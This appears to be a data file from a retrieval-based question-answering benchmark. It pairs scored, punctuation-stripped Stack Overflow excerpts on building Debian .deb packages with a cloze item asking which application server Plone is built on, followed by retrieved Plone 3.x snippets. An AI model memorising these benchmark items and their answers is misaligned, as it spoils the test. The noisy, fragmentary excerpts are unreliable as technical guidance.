"Pip7 supports local caching of wheel packages copy-paste from the ticket : .. . .. . Problem is : the created deb package does not include python and libraries .", "Difference between .rpm .deb : .. . .. . Main difference for a package maintainer I think that would be developer in Debian lingo is the way package meta-data and accompanying scripts come together .", "Then create a deb via debuild pdebuild debian.org doc debian-policy http : www.debian.org doc debian-policy and joey.kitenet.net talks debhelper debhelper-slides.pdf http : joey.kitenet.net talks debhelper debhelper-slides.pdf .", "My question is how can I make a .deb from that GitHub project .", "I would change the deb generation steps to either or both - .. . .. . 1 .", "On a Mac a .dmg file is created and on Linux a .deb file is used .", "At this point I would check the content of the .deb file that is created .", "How can i include a license agreement interaction in a .deb file", "This final command did the trick : .. . .. . I was able to roll the deb successfully .", "If the init script is in the .deb it should get installed in etc init.d just like this : .. . .. . If your run a recent version of Debian the content of your package may be generate from debian tmp instead of debian project as you seem to expect .", ".. . .. . Can you please provide a .deb-package compiled linked to up to-date libs .", "I ve installed macports and run this command dpkg-deb -b MyProgram but I get this error warning dpkg-deb : ignoring 3 warnings about the control file s Can t use format gnu : No such format gnu : Invalid argument Usage : List : tar -tf archive-filename Extract : tar -xf archive-filename Create : tar -cf archive-filename filenames.. . Help : tar --help dpkg-deb : subprocess tar -cf returned error exit status 1", "This is first time I try to build .deb package so I m a bit confused with what to do.. . Can anyone tell me how to fix this", "Package only my code inside the .deb and let the users install the dependent JARs by themselves and specifying the class path to the JARs when starting my application .", "Trying to build simple .deb packages with this script https : github.com 7digital 7digital-mono blob master build-package is failing with this : .. . .. . Any idea what this means", "I have created quite a few deb files i have no problems doing that and they all run beautifully .", "how do i replace files in users home-directory from deb install", "I know there are other ways to do it but i have to supply these settings via repository so deb files is a must... ." ] }
{ "confidence": [ 52.51130294799805, 51.122493743896484, 50.585426330566406, 50.29121398925781, 49.57843017578125, 49.29308319091797, 49.17377471923828, 48.77116012573242, 48.69131088256836, 48.2812614440918, 47.71677017211914, 47.66355514526367, 47.44520568847656, 46.917903900146484, 46.29415512084961, 46.25586700439453, 45.617088317871094, 44.81181335449219, 44.711395263671875, 44.67145538330078 ], "content": [ "Question : I have a project.init file in the debian directory along with rules control etc and I have dh installinit in my rules file in the binary-arch rule . When dpkg-buildpackage completes the init script has been copied to debian project etc init.d project and the various pre post scripts have been created . However when I actually install the .deb with dpkg -i the init.d script does not get installed so I must be missing part of this process . The New Maintainer s Guide http : www.debian.org doc maint-guide is pretty sparse on init.d details it basically says not to use them because they are too advanced . The verbose output of the dh installinit command is : Comment : What exactly do you mean by does not get installed It doesn t exist in the deb it s not installed into etc init.d or no start stop links are created Comment : I m not sure how to test whether it is in the .deb or not . It doesn t appear in etc init.d and so obviously the start stop links aren t created . Comment : I was having a very similar problem where a upstart script was being included in the package you could even see it when listed with dpkg -c but it wouldn t install . I eventually tried to changing the compat version it using 7 and I switched it to 8 and then it installed just fine . .. . Answer : At this point I would check the content of the .deb file that is created . You can use dpkg-deb -c for that purpose . If the init script is in the .deb it should get installed in etc init.d just like this : .. . .. . If your run a recent version of Debian the content of your package may be generate from debian tmp instead of debian project as you seem to expect . You can move the files from debian projet to debian tmp using dh install . Comment : Good theory but in my case dpkg-deb -c shows the file is present in the .deb . Comment : so does the init-script show-up when you extract the package something like mkdir tmp foo dpkg -x packge.deb tmp foo ls -l tmp foo etc init.d", "Question : I am trying to upload my app on Cydia and it requires .deb package . I am unable to figure out how to make .deb packages on mac . I am using 10.6.3 when I write this command on terminal .. . .. . Terminal output is .. . .. . I ve install fink Mac ports insert Mac DVD to find out but nothing helps . Comment : Without a pressing reason would not suggest using both MacPorts and Fink. . Now I m a Fink Rat but I m willing to bet that Juri is a Port Pusher . Which you want is a function of what package you need and which style you prefer . In either case you ll need XCode . Comment : BTW-- I m going to disagree with the off-topic votes . Building packages is part of the development-process . We don t hold questions about tools for building windows installers as off-topic do we Comment : I ve installed macports and run this command dpkg-deb -b MyProgram but I get this error warning dpkg-deb : ignoring 3 warnings about the control file s Can t use format gnu : No such format gnu : Invalid argument Usage : List : tar -tf archive-filename Extract : tar -xf archive-filename Create : tar -cf archive-filename filenames.. . Help : tar --help dpkg-deb : subprocess tar -cf returned error exit status 1 .. . Answer : I installed mac ports 1.7 through terminal as no package is available . After that I installed Mac ports 1.9 through installer . Then goto this path opt local bin and run sudo port selfupdate .. . .. . after that execute sudo port install dpkg .. . .. . it will take some time and after that your dpkg is successfully configured . Run this command sudo dpkg-deb -b MyProgram to make MyProgram.deb .. . .. . Note MyProgram should contain DEBIAN folder and under that control file remove txt extention .. . .. . Below is control file .. . .. . dont forget to place a new line at the end of control file otherwise you will get an error . Comment : I ve installed macports and run this command dpkg-deb -b MyProgram but I get this error warning dpkg-deb : ignoring 3 warnings about the control file s Can t use format gnu : No such format gnu : Invalid argument Usage : List : tar -tf archive-filename Extract : tar -xf archive-filename Create : tar -cf archive-filename filenames.. . Help : tar --help dpkg-deb : subprocess tar -cf returned error exit status 1", "Question : I have the following deb-control .. . .. . and after create my deb package with the command : dpkg-deb --build and then when i try to install it on the ubuntu software center i always get the following notification : The package is of bad quality so i wondering how can avoid this dialog thanks in advanced Comment : askubuntu.com questions 111959 what-is-a-bad-quality-package http : askubuntu.com questions 111959 what-is-a-bad-quality-package Comment : im looking for example an additional line of code or something like that because i would like to install this deb package in the ubuntu center software without this message previously mentioned so i had already seen this post but it does not help me Comment : Did you run the linter and check your package against the policies Comment : ok good anwer but look like that i have several errors after run these command .. . Answer : At least your package name is invalid . Quoting the manual at https : www.debian.org doc debian-policy ch-controlfields.html : .. . .. . Package names both source and binary see Package Section 5.6.7 must consist only of lower case letters a-z digits 0-9 plus + and minus - signs and periods . . They must be at least two characters long and must start with an alphanumeric character . Therefore Deb-Package is not allowable as it contains 2 uppercase characters . Technically your version string is allowed but you should keep in mind that it represents Debian revision 24 of version 2016-Jan of your package . You would do better following conventions there too https : www.debian.org doc debian-policy ch-controlfields.html s-f-Version . Apart from these 2 your control file seems right but more might be wrong in the package contents itself . In general Lintian https : lintian.debian.org should return no errors although many small violations are permissible - I have several packages in a private apt repository with errors although they work fine . I do suspect the package name violation is fatal though . Comment : as well i noticed that the package name is invalid so i changed this field i have a question when i open my deb package in ubuntu center i wonder how to apply an image to shows there Comment : No clue I only use Debian itself . Package manager is the same never seen Ubuntu software center in my life though :", "Question : I have created quite a few deb files i have no problems doing that and they all run beautifully . However if i want to replace a file in users home-directory I am unsure on how to do that . I have tried making a postinst to rsync the files from a predefined location to home-directory but since the postinst file is being run as root due to the debian installer running as root it is being sent to the root home-directory and not the user s home directory... . Here s an example of the deb file contents : .. . .. . Debian Directory --- Control File ---- Postint File .. . .. . usr share desktop directory with files inside .. . .. . The postinst file has the sync command to send those files to users home : .. . .. . The problem is it is sending the files to Root home.. . not the default users home : .. . .. . I don t have the username of the user since this will be used on many computers with different users therefore I can t use sudo -u username . So what do I do how do i replace files in users home-directory from deb install Any help is much appreciated . .. . Answer : In a Bash script refers to the current user s home-directory . The package installation scripts are always run as root so that s what current user means in this context . You could argue that the package installation is probably initiated by a user running su or sudo but in the general case you cannot assume this to be the case . Modifying user files from a system package appears extremely suspicious in any event . If the need is genuine this should probably not be aporoached as a system package installation question in the first place . What are you actually trying to accomplish Not only are you violating the basic principle that package management should not meddle with user files a consequence of this arrangement is that the operation can only be performed once : If the user has installed the package attempting to install it again does nothing at least until you uninstall . A more manageable and predictable approach would seem to be making the package provide this functionality but leave it to the user to invoke the actual sync overwriting script as needed . Perhaps you want to hook it into the desktop startup scripts somehow . Having said that sudo exposes the invoking user s identity in SUDO USER so you could look for that and simply fail if it is not set . As an aside package scripts should work with dash so you need to avoid bashisms - prefer HOME over for example . Comment : I am trying to make a backup of the Xfce panel theme icons wallpaper and Desktop Settings files within .config folder and various other settings as well . Putting it into deb files so someone else can simply run the deb files and have all the settings restored as they were on original system . I know there are other ways to do it but i have to supply these settings via repository so deb files is a must... . I need to find a way to restore these files back to the user home folder whatever the username may be and overwrite existing files . Comment : I already have most of the stuff done in deb format it all works really well . It is just the home-directory specific files that are the problem i need to find a way to restore these files when user install the selected deb file . Ofcourse i included a warning that files will be over written but if he clicks yes it must still do the proper action which it is not . Comment : Updated the answer somewhat . Hope this helps .", "Question : I am in need to build gcc-4.9 libgcc1 4.9.2-10 amd64.deb locally so that I can copy this deb file to another host for installation . I am aware that we can build .deb install file using below steps : .. . .. . Please confirm on step and let me know how can I download gcc-4.9 libgcc1 4.9.2-10 amd64.deb package cource code to build .deb file But I am getting below error at first step itself : .. . Answer : Install required package : .. . .. . configure apt .. . .. . Open your etc apt sources.list Uncomment the lines that start with deb-src .. . .. . Add the following line : .. . .. . NB : If you use stable distribution getting source from unstable won t affect it . .. . .. . Update .. . .. . Use the command apt-get source to download the source code : .. . .. . Once the package is downloaded gcc-defaults-1.136 gcc-defaults 1.136.dsc and gcc-defaults 1.136.tar.gz you can check the directory where you are typing ls and you ll find that apart from the 3 files that were downloaded you also have a directory called gcc-defaults-1.136 . This is the unpacked source of the Debian package . Get the build dependencies .. . .. . build the package Comment : Thanks a lot - it worked", "Question : I need to create a new .deb package of Realxtend project https : github.com realXtend naali . It s a huge project with a lot of dependencies and a automatic bash script tools Linux build-deps.bash to download compile and install all deps and executables . So I try many tutorials but I often some errors and i m stuck because tutorials are outdated with new rules file mainly ...and also because i m not a dev initialy . So for beginning I just need create a .deb file exactly like an simple archive ie not interpret any building process makefile or others kind of things . I would like just compress uncompress a .deb file contains all project already configured with all dependencies like a .zip file with any folder uncompress all content just next the archive . I have 2 folders naali and naali-deps with various files exe src lib .. . configured with running build-deps.bash on Ubuntu Precise x64 . I run dh make clean and fill debian files changelog control copyright create a gpg key and run sudo debuild -us -uc -k0xCODE i heard sudo it s bad but i don t know without.. . .. . .. . I get this : .. . .. . ...so i need help on : .. . .. . 1 Do you know a updated and complete tutorial for newbie other than Debian New Maintainer and irc maillist like debian-dev.. . - see Phpdna link and for specific sources packaging where i understand my error and use dpkg-source cmd : http : debian-handbook.info browse wheezy sect.source-package-structure.html .. . .. . 2 How do make a debianization of my project - with dh make then dpkg-buildpackage -rfakeroot it s the a good way .. . .. . 3 Where are my errors - empty-binaries-files lintian warning is normal then wrong cmd : need dpkg-source not dpkg-deb .. . .. . 4 What should I do with shlibs : Depends - an automatic lib-deps-links thing i don t mind on that now .. . .. . 5 Why I have a empty-binary-package - in fact all data already build stay in .orig.tar.gz in my case .. . .. . Thanks a lot if you can enlighten me on .deb package magic . EDIT : So i found the final cmd i need just dpkg-source -x projet-version.dsc . I didn t understand .deb file contents only changes and i stucked with debuild and dpkg-deb -.. . cmds for building not for extract sources and any files . Solution : .. . .. . 1 . sudo apt-get install debhelper build-essential dh-make .. . 2 . create folder project with another folder into contains all project named project-version .. . 3 . dh make --createorig in project-version + rm -rf ex EX README in debian + fill correctly debian rules copyright changelog .. . 4 . dpkg-buildpackage -rfakeroot with -us -uc or -k0x GPG-KEY in project-version .. . 5 . Keep always together project version.orig.tar.gz all data projects project version.debian.tar.gz modifs project version all any.deb modifs project version arch.changes meta project version.dsc meta .. . 6 . Run dpkg-source -x projet-version.dsc to extract project .. . .. . So now go to add some automatic scripts with it and as soon as it will succes i will mark resolved . .. . Answer : First off you need to create a build folder and an archive of your files : tar czvf data.tar.gz files .. . .. . Then in the build folder you must create a control file with some wanted informations : .. . .. . Then you can add independently preinst postint prerm and postrm shell scripts to control pre and post install and pre and post remove behaviour of the .deb file and then you can create the control archive with tar : tar czvf control.tar.gz control preinst postinst prerm postrm .. . .. . Then you need a debian-binary file : echo 2.0 debian-binary . In your build folder you should have now these files : debian-binary control.tar.gz and data.tar.gz . Finally you need ar package to create the .deb file : ar -r xxx.deb debian-binary control.tar.gz data.tar.gz .. . .. . Source : http : unix.stackexchange.com questions 30303 how-to-create-a-deb-file-manually 30330 30330 Comment : Thanks a lot Phpdna So i have finally an 1.5Go archive .deb file by theses minimal directives it s ok if i extract the content by contextual menu or extract cmd so but it doesn t work with dpkg-dep -i project.deb cmd or double-click to open Ubuntu Software Center . Is it normal lack of directories path to insall cp and .desktop file needed And for deb helper part of the tutorial linked i have always an almost empty .deb . But I think i need to overwrite dh install which contents MAKE cmds by cp cmds in the new rules file . I try this soon . Comment : I m sorry . I can t help I don t use Ubuntu", "Question : I try to build a PPA for Ubuntu of PJSIP including python bindings : .. . .. . To install the bindings the command exexcuted by make install .. . .. . needs to be executed . Without sudo the command fails due to file restrictions . I added sudo to the build dependencies but for some reason a password request is opened . Any suggestions .. . Answer : I found that the usage sudo is not necessary if the package is configured correctly . I needed to add the folders where python setup.py install needs access to debian install files... . and use --install-layout deb --root debian tmp .. . .. . During pbuilder build : run setup.py --install-layout deb fails no rights to write to usr lib python2.7 dist-packages http : stackoverflow.com questions 17754968 during-pbuilder-build-run-setup-py-install-layout-deb-fails-no-rights-to-wri .. . .. . Then the access permission are set correctly . Just use dh install correctly .", "Question : null .. . Answer : I recently installed a .deb on my system and Ubuntu 16.04 package manager was so friendly to tell me that the package does not include a software source and therefore I won t get updates No software source included . I was a bit baffled because I didn t think it is possible to include a software source with your .deb except for the hacky way of having a post-install script doing that for you . Did the .deb format change I didn t find anything in the official documentation . Is it possible to add a software source as metadata to a .deb package and the software source will automatically be added to the system when the .deb package is installed", "Question : null .. . Answer : I m building .deb package for a python application that depends on some other python applications which are not in the debian repositories : partd https : github.com mrocklin partd toolz https : github.com pytoolz toolz and locket https : github.com mwilliamson locket.py . These are all pure python . Is there a way to bundle them into my application s .deb file I would eventually like to get this package into the Debian repositories so I would like to do this properly . I have a pull request with current work here https : github.com ContinuumIO dask pull 514 .", "Question : My java application depends on some native libraries . So I need to create an architecture-specific deb i.e . I need to set the Architecture field to amd64 or x86 . How can I do this with install4j .. . Answer : Sorry if it doesn t answer to your question very accurately but you can already create an architecture-specific Debian package with JDeb https : github.com tcurdt jdeb . Look at this example https : github.com tcurdt jdeb blob master src examples ant src deb control control replace all by the correct architecture .", "Question : I have created installer of my java application for ubantu means debian-based system . I have 2 choices to distribute the package on rpm based sytem : .. . .. . 1 . By converting .deb debian package into rpm and install it on red-hat . 2 . creating .rpm package using rpm-tools . By selecting first choice I did : .. . .. . output for above command create Mydeb.rpm package . which convert .deb to rpm but when I was going to install it then issue occured after installing . Package can not be loaded javecodec : 52 could not find . .. . .. . How I can pack .jar with DB folder with embedded jvm in linux .. . Answer : General question . So here comes general answer : https : fedorahosted.org released javapackages doc", "Question : I recently update my QtSdk to 1.2 and after that I am unable to deploy a debian file of more then 6 mb . It gives me the following error : 16 : 32 : 02 : Preparing SFTP connection.. . 16 : 32 : 02 : Starting upload.. . 16 : 32 : 03 : Failed to upload package : Failure 16 : 32 : 03 : Deploy step failed . Error while building project Animal101SymbianMeegov1 target : Harmattan When executing build step Deploy Debian package via SFTP upload .. . .. . Has anyone run across this problem .. . Answer : The workaround I use to deploy is to create a link in tmp .deb pointing to var tmp .deb and the run the deploy step in QtCreator .", "Question : We maintain a Debian repository for an app and all .deb files are stored on a s3 bucket . We wrote a script to upload the files and update the Packages.gz file . All went fine until one of the developers found deb-s3 https : github.com krobertson deb-s3 and tried using it . After the first package upload we started getting this error message : .. . .. . W : Failed to fetch s3 : s3.amazonaws.com myapp dists test main binary-amd64 Packages Hash Sum mismatch .. . .. . I ve tried to restore an old version of our Packages.gz file with no success . I ve searched for this error and removing the var lib apt lists does not work either . What would deb-s3 do that could break our entire repo .. . Answer : Looks like deb-s3 creates a Releases file under dist test and that conflicts with Packages.gz . Removing the Release file restored our repository back to what it was .", "Question : On our NAS running Debian Lenny I stupidly set PermitRootLogin to without-password in sshd config without properly setting up the keys first and am now locked out . It s a WD Sharespace and reading up on it it looks like my best way to restore root SSH access is to create a deb package that overwrites the original sshd config file . The sites I ve found describing deb package creation are pretty onerous . All I need the package to do is overwrite a single file . Is there a simple way to do this .. . Answer : As an alternative that exists in Lenny and many other distributions is the alien command . It converts packages from one distribution to another . This wouldn t be much use except for the fact that it s VERY forgiving of Slackware TGZ packages . It will accept ANY TGZ file pkgname version.tar.gz with paths beginning at the root directory and convert that TGZ to a plain deb file for installation . It has several options to tailor the package set versions tags etc etc but the end result is a package that can installed removed or replace any package on the system without hassle .", "Question : I am trying to upload my app on Cydia and it requires .deb package . I am unable to figure out how to make .deb packages on mac . I am using 10.6.3 when I write this command on terminal .. . .. . Terminal output is .. . .. . I ve install fink Mac ports insert Mac DVD to find out but nothing helps . Comment : Without a pressing reason would not suggest using both MacPorts and Fink. . Now I m a Fink Rat but I m willing to bet that Juri is a Port Pusher . Which you want is a function of what package you need and which style you prefer . In either case you ll need XCode . Comment : BTW-- I m going to disagree with the off-topic votes . Building packages is part of the development-process . We don t hold questions about tools for building windows installers as off-topic do we Comment : I ve installed macports and run this command dpkg-deb -b MyProgram but I get this error warning dpkg-deb : ignoring 3 warnings about the control file s Can t use format gnu : No such format gnu : Invalid argument Usage : List : tar -tf archive-filename Extract : tar -xf archive-filename Create : tar -cf archive-filename filenames.. . Help : tar --help dpkg-deb : subprocess tar -cf returned error exit status 1 .. . Answer : i think these links can be useful for you : .. . .. . How to make a deb on mac https : synthesize.us HOWTO make a deb archive without dpkg .. . .. . Using ant to create deb http : stackoverflow.com questions 5576265 creating-a-deb-with-apache-ant-and-without-dpkg", "Question : I have created a deb package say abc.deb . Now there are few dependencies like python-dev python-mysql etc . which are needed to be installed as a part of deb installation itself . i.e . when user runs dpkg -i abc.deb the dependencies should also get installed automatically . I am using a control file which contains few parameters like preinst postinst etc . I tried to add Depends to the control file but I guess Depends only stops package installation if dependencies mentioned are not present . How could I install the dependencies as a part of deb package installation itself I am looking for a solution that will work on Ubuntu 12.04 . P.S . When I try to install dependencies in my postinst script as .. . .. . I gives me an error : .. . Answer : The way I achieved this is by using the preinst script . This script executes before that package will be unpacked from its Debian archive .deb file . I checked for the dependencies in preinst script and then exited with an error if dependencies were not found . Following sample sh code shows how to check and install dependencies if unavailable : .. . .. . Then this script is provided to Preinst : parameter of control file . Comment : This is bad advice . preinst hooks are not supposed to install other packages . The package needs to declare Depends : .", "Question : null .. . Answer : I want to create a debian .deb package that patches another packages files . So for example if package A installs the file foo my Package called B should patch foo when the user installs upgreades the package A . My idea was to create a debian triggers file with this content : .. . .. . and then in the postinst I will patch foo if it is called with triggered argument . The problem is that my package will also change foo so dpkg-triggers wants to call the postinst again because of new changes in foo . And a cycle will be created . So the package installation process will be stopped by :", "Question : null .. . Answer : I know that exists this question Where to put last git-commit id in an rpm http : stackoverflow.com questions 23807545 where-to-put-last-git-commit-id-in-an-rpm but I want to know the equivalent for debian packages . Is necesary to order the packages in a repo and dependent of the ID that I put in naming packages debian says https : www.debian.org doc manuals debian-faq ch-pkg basics.en.html : .. . .. . 7.3 Why are Debian package file names so long .. . The Debian binary package file names conform to the following convention : - .deb .. . .. . Note that foo is supposed to be the package name . As a check one can learn the package name associated with a particular Debian archive file .deb file in one of these ways : .. . .. . .. . inspect the Packages file in the directory where it was stored at a Debian FTP archive site . This file contains a stanza describing .. . .. . .. . each package the first field in each stanza is the formal package name . .. . .. . use the command dpkg --info foo VVV-RRR AAA.deb where VVV RRR and AAA are the version revision and architecture of the package in .. . .. . .. . question respectively . This displays among other things the package name corresponding to the archive file being unpacked . .. . The VVV component is the version number specified by the upstream developer . There are no standards in-place here so the version number may have formats as different as 19990513 and 1.3.8pre1 . .. . The RRR component is the Debian revision number and is specified by the Debian developer or an individual user if he chooses to build the package himself . This number corresponds to the revision level of the Debian package thus a new revision level usually signifies changes in the Debian Makefile debian rules the Debian control file debian control the installation or removal scripts debian p or in the configuration-files used with the package . .. . The AAA component identifies the processor for which the package was built . This is commonly i386 which refers to chips compatible to Intel s 386 or later versions . For other possibilities review Debian s FTP directory structure at What are all those directories at the Debian FTP archives Section 6.7 . For details see the description of Debian architecture in the manual page dpkg-architecture 1 . So I Guess that the correct naming convention could be : .. . .. . There can be alternatives to this I have oldest and made by other developer packages named : .. . .. . the problem with this is that some repos reprepro doesnt order well the packages . so should I change it and how to follow .. . .. . What alternatives can have to add also the date to the package name from git thanks for clarifying me this", "Question : I have written a proprietary application that needs to install some .pyo files . When I create a .deb from the app lintian complains that package-installs-python-bytecode . I tried adding an override but apparently this tag is marked as non-overridable by ftp-master-auto-reject.profile in usr share lintian profiles debian . Since this tag is considered an Error Ubuntu Software Center complains about the package . Is there a clean way to override this tag so that Ubuntu Software Center no longer complains Comment : If there was wouldn t that be a bug in Ubuntu The whole point of free software is that you can study it . Comment : Yes but the existence of free software doesn t mean that people should be prevented from distributing proprietary software . Regardless of my personal views on the matter both types of software are valid models and if Ubuntu wants to prevent proprietary software from being installed wtf are they doing starting a software store Comment : @flup Ubuntu Software Center already sells many paid software such as World of Goo . .. . Answer : I would change the deb generation steps to either or both - .. . .. . 1 . Move the installation and generation of the python bytecode into the postinst http : lintian.debian.org tags package-installs-python-bytecode.html section http : www.debian.org doc manuals debian-faq ch-pkg basics.en.html 7.6 .. . 2 . Use pip http : www.pip-installer.org instead of or with deb . tar up the python file s base64 or otherwise encode http : www.gnu.org software sharutils the tar file into the postinst script extract and install from there and you re done Comment : How does placing the bytecode under usr local help Is this directory exempt from the checks somehow Comment : I double checked and my memory was a little off - you have to do 1 - and or 2 . Comment : Sadly 1 isn t an option because the client doesn t want the source revealed at any point he is aware of the pitfalls of pyos he just doesn t want to make it too easy . pip might be an option but honestly in that case I ll just write a custom installer that will work on most linux distros not just Ubuntu Debian . Comment : @ChinmayKanchi Updated my answer because you missed part - use the compiled files in your script to work around the debian policy . Comment : Yes but remember that I ll have to generate the files from source . Which means that the .deb will have the .py files . I suppose I could put them into a tgz of their own and extract them in postinst but this is a bit yucky no", "Question : I am trying to get license information of uninstalled deb packages . dpkg --info package-name .deb does not give that information . Is there any command in ubuntu which will give this info In rpm world rpm -qpi gives that info Comment : See also near-duplicate stackoverflow.com questions 35044841 http : stackoverflow.com questions 35044841 how-to-list-all-installed-packages-licences-in-ubuntu .. . Answer : There s no simple command that I know of . You can do something like this : .. . .. . This prints the file to standard output . Edit Hmm that sounds hard . After a quick perusal of the apt cache on my Debian system I found some phrases that might be useful : .. . .. . GNU General Public License .. . the above copyright notice and this permission notice making sure you unwrap lines first .. . usr share common-licenses .. . .. . This seems to be the closest to a standard license you ll get but be careful since often the packaging is under a common-license but the package contents are under a separate license . License : MPL-1.1 GPL-2+ Apache-2.0 .. . .. . However some packages ImageMagick simply have a free-form license in the copyright file that doesn t really conform to any stock license except that someone considered it DFSG-approved . Update 2012 : This is beginning to change as the debian copyright file is now required to be machine-interpretable http : www.debian.org doc packaging-manuals copyright-format 1.0 so you can look forward to this in the future . Comment : the copyright file does not have a standard format i.e license name license text which makes it hard to extract that info . Specially if I want to do this for hundreds of packages . Comment : Hmmm..I guess a foolproof solution does not exist then . Comment : Update 2015 : Many packages still have not transitioned to machine-readable license files http : stackoverflow.com a 35052572 260122 . The only online service to check for license metadata is the Copyright File link on the package page on packages.debian.org https : packages.debian.org ." ] }
[ "yes-answer-long", "yes-answer-short" ]
binary
UNK_RELATION
plone-3.x@zope@92
plone-3.x -- plone is a free and open-source content-management-system built on top of the @placeholder application server .
{ "confidence": [ 55.11784362792969, 50.71942901611328, 48.65155029296875, 47.30986785888672, 46.77534866333008, 45.97596740722656, 45.81891632080078, 45.509674072265625, 45.002586364746094, 44.91575622558594, 44.91575622558594, 44.91575622558594, 43.14299011230469, 43.14299011230469, 42.744544982910156, 42.424583435058594, 42.198814392089844, 42.198814392089844, 42.148719787597656, 41.67279052734375, 41.67279052734375, 41.67279052734375, 41.58936309814453, 41.53369140625, 41.43359375, 41.43359375, 40.914215087890625, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.72977066040039, 39.598697662353516, 39.569007873535156, 39.16412353515625, 38.939239501953125, 38.939239501953125, 38.939239501953125, 38.92424774169922, 38.88778305053711, 38.497196197509766, 38.497196197509766, 38.497196197509766, 38.36778259277344, 37.50099563598633, 37.50099563598633, 37.30453109741211, 37.30453109741211, 37.30453109741211, 37.30453109741211, 37.30453109741211, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.07964324951172, 37.03675079345703, 37.03175354003906, 36.512245178222656, 36.2684211730957, 36.2684211730957, 36.09770965576172, 35.677825927734375, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.369537353515625, 35.07575607299805, 35.009666442871094, 34.850868225097656, 34.850868225097656, 34.850868225097656, 34.850868225097656, 34.850868225097656, 34.850868225097656, 34.850868225097656, 34.711055755615234, 34.044551849365234, 34.035850524902344, 33.50994110107422, 33.50994110107422, 33.50994110107422, 33.50994110107422, 33.50994110107422, 33.50994110107422, 33.50994110107422 ], "content": [ "How would that work against many 50+ Plone 2.5 content types running in Plone 3.x", "Recently I have upgraded a plone 3 website to plone 4.3 website .", "Was your previous Plone 3.x version 3.2 or later", "Should work with Plone 3 and 4 .", "3 Start your new Plone and see if it functions .", "Is it possible to setup a Zeo clustering server with Plone 3", "I believe Plone 3.x added robots.txt functionality See the 3.0-alpha2 release notes plone.org products plone releases 3.0 http : plone.org products plone releases 3.0 Added robots.txt file .", "And spend some time updating to Plone 4.x .", "I m using Plone 3.3.5 .", "Is an old problem of Plone 3 user and group handling .", "It already existed around the time of Plone 3 but was commercial then .", "Just wondering if it was compatible with Plone 3.x.x .", "plone.app.theming requires Plone 4.1 .", "It depends on you Plone installazione .", "I tried using that for plone-3-0 but at this time it seems to be pulling Plone 5 and related eggs such as Zope2 there is no Plone egg for pre-3.2 releases I think there s a version pin is missing somewhere .", "I need a blob file field as part of a content-type in plone .", "The post mentioned above is from 2007 which is perhaps for Plone 2.x .", "You ll also find that the documentation for Plone 4.x is excellent including that on scaling .", "Use Plock Pins http : plock.github.io : .. . .. . https : github.com plock pins blob master plone-3-1 .. . https : github.com plock pins blob master plone-3-0 .. . https : github.com plock pins blob master plone-2-5 .. . https : github.com plock pins blob master plone-2-1 .. . https : github.com plock pins blob master plone-2-0 .. . https : github.com plock pins blob master plone-1-1 .. . .. . E.g .", "Go in the xmi of the plone site - add a new file - call it robot.txt .. . 3 .", "I d like advice on the best approach to deploying Diazo to work with Plone 3 .", "Unluckily Plone 3 do not offer a way to fix this in a simple way .", "In browser : page on Plone I have a permission attribute .", "I know there are buildouts out there for Plone 3.x but googling for the didn t help me .", "But it s not yet honored as you can see here : .. . .. . http : svn.plone.org svn plone plone.app.portlets trunk plone app portlets browser templates column.pt .. . http : svn.plone.org svn plone plone.app.portlets trunk plone app portlets metaconfigure.py .. . .. . Thanks to the comment of Ulrich Schwarz that pushed me to double check .", "Refs : plone.293351.n2.nabble.com AttributeError-clear-td6309315.html http : plone.293351.n2.nabble.com AttributeError-clear-td6309315.html and plone.293351.n2.nabble.com http : plone.293351.n2.nabble.com Plone4-upgrade-and-unsorted-quot-recently-modified-quot-td6353366.html", "But these packages are not compatible with Plone 3.1 .", "It appears that Plone automatically generates a robots.txt file .", "http : plone.site plone obj orig-file-name.avi .", "In DEBUG logging Plone prints transaction boundaries .", "I forgot I could do @@sharing at Plone .", "Is there a repeatable way of generating older sample Plone buildouts", "The core is the plone.recipe.plone recipe used for old Plone .", "I m working on a theme product for Plone 3.2.3 .", "No the site is on Zope as I m aware apologies not a plone dev .", "This bug has been fixed http : dev.plone.org plone ticket 7277 on 4.X .", "4 Stop you new Plone and restore the Data.fs file from the old system to overwrite the new Data.fs under var .", "I have a folder backup of a plone 3 instance and I want to run it in a VirtualBox with Debian 5 .", "What worked in one version of Plone will not necessarily work in other places .", "Try to figure out how to customize delete actions in Plone user-interface .", "is there an update for membrane required for plone 4.3 that you need to install", "I know that plone.app.theming is out of the question for versions less than Plone 4.1 but we can t upgrade to Plone 4 yet as we need to port some code to Plone 4.x first but we d like to benefit from the theming infrastructure of Diazo .", "You cannot with basic Plone functionality but most Plone sites generate links from catalog searches automatically including all published content folder listings collections etc .", "In the Plone Developer Documentation http : developer.plone.org there s a section for Javascripting in Plone http : developer.plone.org templates css and javascripts javascript.html that perfectly fits your needs", "I m using Plone 3.3.5 with the Cache Configuration Tool CacheSetup 1.2.1 and Varnish 3.0.2 in front Client Apache Varnish Plone on Debian Linux 7.6 .", "If you re using Plone 3.1 you do it pretty much the same way you set up a cluster in Plone 4 or 5 .", "As you can see Plone Zope 2 object management is messy yes I am willing to burn karma just to say this .", "Buildout works just fine with Plone 3.1.2 .", "I am running apache 2.2.2 and Plone 3.5 .", "We currently use Plone 3 for our training website and want to add a blog .", "We have a VERY high traffic site on a Plone 3 installation that is currently struggling under the load .", "If you are not using a zeoserver this is the first thing to do.. . zeoclient+zeoserver is working on Plone 3 and older .", "If you can t do that track down a copy of Practical Plone 3 for documentation on cluster architecture and caching .", "I recently took over dev of this project on a legacy Plone 3 installation and there are huge performance bottle necks on the database .", "Bonus points : upgrade to a current Plone version or at least to 3.3.5 . : -", "I m using Plone 3.1.7 in a project that needs performance tweaks .", "Is it possible to remove the site-wide role for just a context in a Plone Site", "Doing this Administrator as a local role at Plone is going to harm performance for Anonymous users", "I m working on a website which has been developed in plone .", "Stock plone can do blogging pretty well also .", "I am stuck in an issue to find orphan pages in a Plone CMS site .", "On Plone 4 the portal memberdata from ZMI offer a way to cleanup things .", "I fear it s a problem of the recaptcha spam protection not a Plone ones .", "Not being familiar with Plone I cannot comment on the configuration in Plone s end .", "My theme product works perfectly on the default Plone installation .", "Why is the Plone data.fs file so large will it effect performance", "the purpose of view permission is to restrict the portlet to users with a specific permission...as it says here : .. . .. . http : svn.plone.org 